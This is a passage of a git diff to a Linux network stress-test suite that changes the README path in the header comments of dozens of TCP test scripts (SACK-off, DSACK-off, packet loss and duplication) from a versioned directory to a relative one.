 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff08 b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff08
index 2426ab6..764ae57 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff08
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff08
@@ -30,7 +30,7 @@
 #     - Network is delayed
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff09 b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff09
index 0ef9fe8..7e93e94 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff09
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff09
@@ -31,7 +31,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff10 b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff10
index eb5324f..1be3456 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff10
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff10
@@ -31,7 +31,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff11 b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff11
index d3f402f..ec5acc4 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff11
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff11
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff12 b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff12
index ddddd49..e46fc8e 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff12
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff12
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff13 b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff13
index 57bcd20..fecaf09 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff13
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff13
@@ -31,7 +31,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff14 b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff14
index e231084..d5f1c1e 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff14
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff14
@@ -31,7 +31,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup01 b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup01
index 29589b7..fe164c7 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup01
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup01
@@ -40,7 +40,7 @@
 #   *) This script may be read by the other test case
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup02 b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup02
index 7f4f71c..983647f 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup02
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup02
@@ -29,7 +29,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup03 b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup03
index beb4030..473b9ad 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup03
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup03
@@ -29,7 +29,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup04 b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup04
index ed12e04..b6f2290 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup04
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup04
@@ -29,7 +29,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup05 b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup05
index 0a7f944..550d21b 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup05
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup05
@@ -29,7 +29,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup06 b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup06
index 43818e1..cce7646 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup06
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup06
@@ -29,7 +29,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup07 b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup07
index 88a5d73..3d2418a 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup07
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup07
@@ -29,7 +29,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup08 b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup08
index 69ed4a1..9ba8cd3 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup08
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup08
@@ -29,7 +29,7 @@
 #     - Network is delayed
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup09 b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup09
index 3f83814..59ce9b9 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup09
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup09
@@ -30,7 +30,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup10 b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup10
index 23a585a..ac21c39 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup10
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup10
@@ -30,7 +30,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup11 b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup11
index a6eb8b0..b0653bf 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup11
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup11
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup12 b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup12
index 77bc53e..1e4c53e 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup12
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup12
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup13 b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup13
index af6e395..282c32e 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup13
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup13
@@ -30,7 +30,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup14 b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup14
index 9d783b9..0154c7c 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup14
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup14
@@ -30,7 +30,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup01 b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup01
index 8001323..370f02e 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup01
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup01
@@ -29,7 +29,7 @@
 #     - The version of IP is IPv6
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup02 b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup02
index 1ca68fe..40551af 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup02
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup02
@@ -30,7 +30,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup03 b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup03
index d444af4..b706a9e 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup03
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup03
@@ -30,7 +30,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup04 b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup04
index 73487de..892887b 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup04
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup04
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup05 b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup05
index 92e9774..3183247 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup05
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup05
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup06 b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup06
index 9c9dbb0..56ea995 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup06
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup06
@@ -30,7 +30,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup07 b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup07
index 968c787..71c5ab2 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup07
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup07
@@ -30,7 +30,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup08 b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup08
index ac125d1..f532ff3 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup08
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup08
@@ -30,7 +30,7 @@
 #     - Network is delayed
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup09 b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup09
index 06f3412..d12d7ad 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup09
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup09
@@ -31,7 +31,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup10 b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup10
index cb42e10..c92bb7c 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup10
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup10
@@ -31,7 +31,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup11 b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup11
index 15f6b4c..0413100 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup11
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup11
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup12 b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup12
index 8dd9d8e..a678d8b 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup12
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup12
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup13 b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup13
index 583c25b..466fdf7 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup13
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup13
@@ -31,7 +31,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup14 b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup14
index 2c1c1e6..3810a80 100644
--- a/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup14
+++ b/testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup14
@@ -31,7 +31,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff01 b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff01
index 0572913..0745f90 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff01
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff01
@@ -40,7 +40,7 @@
 #   *) This script may be read by the other test case
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff02 b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff02
index 828851f..02e70c9 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff02
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff02
@@ -29,7 +29,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff03 b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff03
index c62ff26..9d3b41c 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff03
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff03
@@ -29,7 +29,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff04 b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff04
index 0bc7af1..7167d04 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff04
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff04
@@ -29,7 +29,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff05 b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff05
index 0ccc85e..850652a 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff05
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff05
@@ -29,7 +29,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff06 b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff06
index 2439ccc..5032646 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff06
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff06
@@ -29,7 +29,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff07 b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff07
index c62a4bb..828c21d 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff07
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff07
@@ -29,7 +29,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff08 b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff08
index ea39de5..c131a46 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff08
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff08
@@ -29,7 +29,7 @@
 #     - Network is delayed
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff09 b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff09
index d7699b9..b1e5bb0 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff09
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff09
@@ -30,7 +30,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff10 b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff10
index 7e00453..793eb4d 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff10
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff10
@@ -30,7 +30,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff11 b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff11
index 953f06a..c981570 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff11
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff11
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff12 b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff12
index 16506f9..9c78ec6 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff12
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff12
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff13 b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff13
index a9af726..78acf66 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff13
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff13
@@ -30,7 +30,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff14 b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff14
index 14f0107..de342ee 100644
--- a/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff14
+++ b/testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff14
@@ -30,7 +30,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
